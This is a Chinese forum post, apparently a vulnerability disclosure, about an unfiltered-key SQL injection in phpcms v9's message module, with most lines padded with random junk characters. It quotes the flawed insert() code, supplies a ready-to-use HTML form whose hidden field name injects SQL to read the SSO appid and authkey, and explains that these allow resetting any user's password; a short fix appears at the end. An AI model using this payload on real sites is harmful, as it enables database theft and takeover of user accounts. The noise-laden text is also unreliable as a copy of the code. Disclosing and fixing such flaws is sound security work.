|
简要描述:2 b4 J% K& l5 Z6 U* o; L( k" n
! |+ `; W+ S, k3 b i第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。9 u+ ]; c# o+ r/ R
) c6 S b2 Q! r- ~' Y" j
明天再更新下一个漏洞。
+ z# t: b) P1 ^详细说明:, w9 t1 s5 O6 }/ T P/ O
在/phpcms9/phpcms/modules/message/index.php中有代码如下:* F$ W& n! z- b' Q
3 E/ m; C. v3 t1 w1 u5 {
$messageid = $this->message_db->insert($_POST['info'],true);4 j# M; ~& ^8 O7 X! w- ]+ U
4 d1 m# h3 Z9 n+ B3 }, }
$ G: P; e% M+ E$ vinsert方法是key value的,代码如下:+ x( X, S8 b$ C4 x% ~" n/ a9 b6 Q: C
/ X# d9 N4 a* J6 A, _# Apublic function insert($data, $table, $return_insert_id = false, $replace = false) {
$ ]: g: K: c3 K0 q) g if(!is_array( $data ) || $table == '' || count($data) == 0) {
/ B- I! {9 F$ t8 V* v- w return false;% e. E; \% j- S0 ~
}. K6 }$ i& v: l# ]: D$ x
I. i9 E7 `* b% D/ m $fielddata = array_keys($data);: q/ t7 w0 b# @+ ~( G
$valuedata = array_values($data);+ E" p9 `4 f' p, ^
array_walk($fielddata, array($this, 'add_special_char'));
, ?/ I, D+ g8 S6 j: k6 w# K array_walk($valuedata, array($this, 'escape_string'));
6 `% c( t: {- T5 a9 _# V
% C8 L0 r% e" b% m$ B $field = implode (',', $fielddata);1 G& Q( Q: j2 B. Q+ _) w7 h! G
$value = implode (',', $valuedata);
8 l+ E6 L# c9 x3 t, T% G9 f* o* |! }( Q( T' ^* V3 p
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';5 s: U& o: r3 t6 X, ?1 C
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
+ s" s0 t8 Y+ {- e( k $return = $this->execute($sql);
, C: A$ j' I: f; N" I return $return_insert_id ? $this->insert_id() : $return;7 M4 N% e/ J/ |2 O
}6 F1 L' J" u6 D2 ~4 _
1 d4 g3 G% s; q3 E) L, ~7 U+ C! L6 a; r* Y. I! U( m) [
嗯,很遗憾的是
) {; C& w3 e Q" H' L( f7 y; p" C
array_walk($fielddata, array($this, 'add_special_char'));
( E1 }! C* H3 W$ k' i% u) j, M
$ c) m# N6 c6 I9 T, x1 H! d
: J3 {4 T6 G! ^+ E8 M2 p/ f中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。1 }) x; `- t( k7 r, P' _( g r
3 W4 ~: D* T7 Z* s到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
: j) }6 W1 R: [7 G" ~2 m7 M. |2 I5 g
% i+ t! j" |7 A; ?/ E" F漏洞证明:
5 _ A1 s( O+ ^6 N0 s# p读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
& D* F2 L" n2 y) j( p4 y& s# N, ~
; C( R- W, t6 N3 M4 S2 z# s7 r
表单如下:用户名什么的得自己改一改。# c( C4 O8 Y3 m- t
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
+ }. T2 J/ _- a6 U$ w<table width="100%" cellspacing="0" class="table_form">
3 A+ l# }, R9 v% h<tr>2 E4 z. L/ q# v! _6 N* a, g/ [
<th>标 题:</th>
1 n6 M' P! d, `$ c9 o# D) `<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
/ w7 T, w0 U m! Q3 I1 Q$ s3 m</tr> + ^& _/ F7 T( j8 ?4 U5 N( h% ]) B e
<tr>7 c+ h; F7 ~+ W0 ]* M' f
<th>内 容:</th>& x I. }( f9 ^# |; [2 ^
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>) D \5 q4 X; i0 x; r# i
</tr>. X+ W: E( H6 ]7 A
<input type="hidden" name="info[replyid]" value="2" />
) b( r* e1 |" {( V<input type="hidden" name="info[send_to_id]" value="cc" />
: j |" p) Q& l- E- R1 m<input type="hidden" name="info[send_from_id]" value="hh"># O! h- j6 H- o) Z6 q& \
<!-- 漏洞的利用重点在这里开始 -->
/ s: \, v* l3 n$ k<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
/ S$ n5 t' ?+ ^/ y<!-- 漏洞的利用重点在这里结束 -->8 M6 {; S- ~6 r6 A# ^( D- u
<tr>
; q7 T" N+ F" ^* a" J0 x& x<th>验证码:</th>+ L3 S/ K; p) T2 `
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
% S3 R+ c) @# a</tr>
9 G1 f( C0 |- f# F" |3 _<tr>( y+ [' ^( W. u& R$ @5 p
<td></td>8 t- @! M- K' m5 t3 \
<td colspan="2"><label>" }7 d3 p, `5 ~. C
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
. F- r& r) a ^* j</label></td>8 R3 E: N# |" v7 r9 J
</tr>( A, B2 A+ X I- ~+ O! p7 z
</table>/ J6 ] x; T2 s4 h
</form>
& O$ S! C5 B# N. z7 }& b在add_special_char函数内对key做过滤就可以了。4 q6 \/ B0 A$ I
1 \9 d* C) Z( r/ s/ j% I& o
0 P: r3 R. S- [( y5 h' K; m4 P5 R" R( V
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|